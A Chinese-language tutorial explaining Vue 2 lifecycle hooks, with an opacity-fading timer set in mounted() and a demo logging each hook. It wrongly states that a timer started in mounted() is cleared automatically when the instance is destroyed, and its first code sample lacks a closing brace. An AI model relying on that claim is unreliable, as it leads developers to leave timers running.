Vue的生命周期也叫生命周期回调函数、生命周期函数、生命周期钩子,在Vue的关键时刻,Vue会自动调用这些函数,这些函数有着固定的名字,我们可以显式定义这些函数,在函数体里写上需要执行的功能,让Vue在回调这些函数的时候,实现我们想要的功能,生命周期函数中this指向Vue实例对象或组件实例对象。
第一个要引出的生命周期函数是mounted()
,现在要实现一个功能:让一段文本的样式不断的切换opacity。通过定时器来实现,脱离Vue来定义定时器可以实现,但是不推荐,推荐的做法是在Vue的mounted()
方法中,定义定时器来实现,这样,在Vue实例销毁的时候,定时器也会被自动销毁。
Vue调用mounted()
方法的时机是:Vue完成模板解析并把真实的DOM放入页面,挂载完毕后。
<div id="root">
<h2 :style="{opacity}">学习Vue</h2>
</div>
new Vue({
el:'#root',
data:{
opacity:1
},
mounted(){
console.log('mounted', this);
setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) {
this.opacity = 1;
}
},16);
},
);
//通过外部的定时器实现(不推荐)
/* setInterval(() => {
vm.opacity -= 0.01;
if (vm.opacity <= 0) {
vm.opacity = 1;
}
},16); */
其实Vue有4对生命周期函数:beforeCreate()
、created()
、beforeMount()
、mounted()
、beforeUpdate()
、updated()
、beforeDestroy()
、destroyed()
。在定义生命周期函数的时候,方法名不能写错,如果写错了,Vue就不会帮我们调用了。
有了这张图,我们就可以在合适的时机,插入我们想要执行的命令了。这些生命周期函数,在定义的时候,和methods
是同级别的。
从上面的流程图,还看到一个template
,用法是这样的,如果在Vue实体中定义了template,那么就使用template直接作为Vue绑定的模板,忽略el
元素指定的模板。
<div id="root" :x="n">
<h2 v-text="n"></h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
new Vue({
el:'#root',
// template:`
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data:{
n:1
},
methods: {
add(){
console.log('add');
this.n++;
},
bye(){
console.log('bye');
this.$destroy();// 手动触发destroy()函数
}
},
watch:{
n(){
console.log('n变了');
}
},
beforeCreate() {
console.log('beforeCreate');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMount');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeUpdate');
},
updated() {
console.log('updated');
},
beforeDestroy() {
console.log('beforeDestroy');
},
destroyed() {
console.log('destroyed');
},
})
在这些生命周期函数中,比较重要的两个是mounted()
和beforeDestroy()
。mounted()
:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作。beforeDestroy()
:清除定时器,解绑自定义事件,取消消息订阅等收尾操作。
借助这些Vue的生命周期函数,可以将一些操作,从业务中分离出来,让代码看着更简洁。